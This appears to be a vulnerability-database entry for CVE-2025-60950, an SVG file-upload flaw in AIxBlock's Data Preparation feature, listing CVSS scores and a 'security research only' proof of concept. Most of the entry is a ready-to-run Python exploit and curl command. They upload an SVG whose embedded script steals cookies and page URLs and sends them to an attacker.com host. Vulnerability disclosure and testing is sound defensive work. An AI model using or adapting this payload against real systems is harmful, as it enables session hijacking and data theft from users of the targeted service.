An arbitrary file upload vulnerability in the Data Preparation function of AIxBlock commit f60975 allows attackers to execute arbitrary code via a crafted SVG file.
CVSS Details
CVSS Score
6.1
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
Configurations (Affected Products)
No configuration data available.
AIxBlock commit f60975及之前版本
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-60950 PoC - Malicious SVG File Upload
# Target: AIxBlock Data Preparation Function
# This PoC demonstrates arbitrary file upload leading to XSS/Code Execution
import requests
import json
# Configuration
TARGET_URL = "http://target-ai-xblock.com" # Replace with actual target
UPLOAD_ENDPOINT = f"{TARGET_URL}/api/data-preparation/upload"
FILE_PATH = "payload.svg"
# Malicious SVG payload for XSS and potential RCE
MALICIOUS_SVG = '''<?xml version="1.0" encoding="UTF-8"?>
<svg xmlns="http://www.w3.org/2000/svg">
<script type="text/javascript">
// XSS payload - steals cookies/session
alert(document.cookie);
// Data exfiltration
fetch('https://attacker.com/steal?data=' + encodeURIComponent(document.cookie));
// Potential RCE if server processes SVG
var xhr = new XMLHttpRequest();
xhr.open('POST', 'https://attacker.com/upload', true);
xhr.send(window.location.href);
</script>
<circle cx="100" cy="100" r="50" fill="red" onload="alert('XSS via SVG')"/>
</svg>
'''
# Create malicious SVG file
with open(FILE_PATH, 'w') as f:
f.write(MALICIOUS_SVG)
# Upload the malicious file
files = {
'file': (FILE_PATH, MALICIOUS_SVG, 'image/svg+xml')
}
data = {
'type': 'data_preparation',
'description': 'Malicious SVG upload test'
}
try:
response = requests.post(
UPLOAD_ENDPOINT,
files=files,
data=data,
timeout=30
)
print(f"Status Code: {response.status_code}")
print(f"Response: {response.text}")
if response.status_code == 200:
result = response.json()
print(f"[+] File uploaded successfully!")
print(f"[+] File URL: {result.get('url', 'Check response')}")
print(f"[+] Access the file to trigger the payload")
except requests.exceptions.RequestException as e:
print(f"[-] Error: {e}")
# Alternative PoC using curl:
# curl -X POST -F "[email protected]" -F "type=data_preparation" \
# http://target-ai-xblock.com/api/data-preparation/upload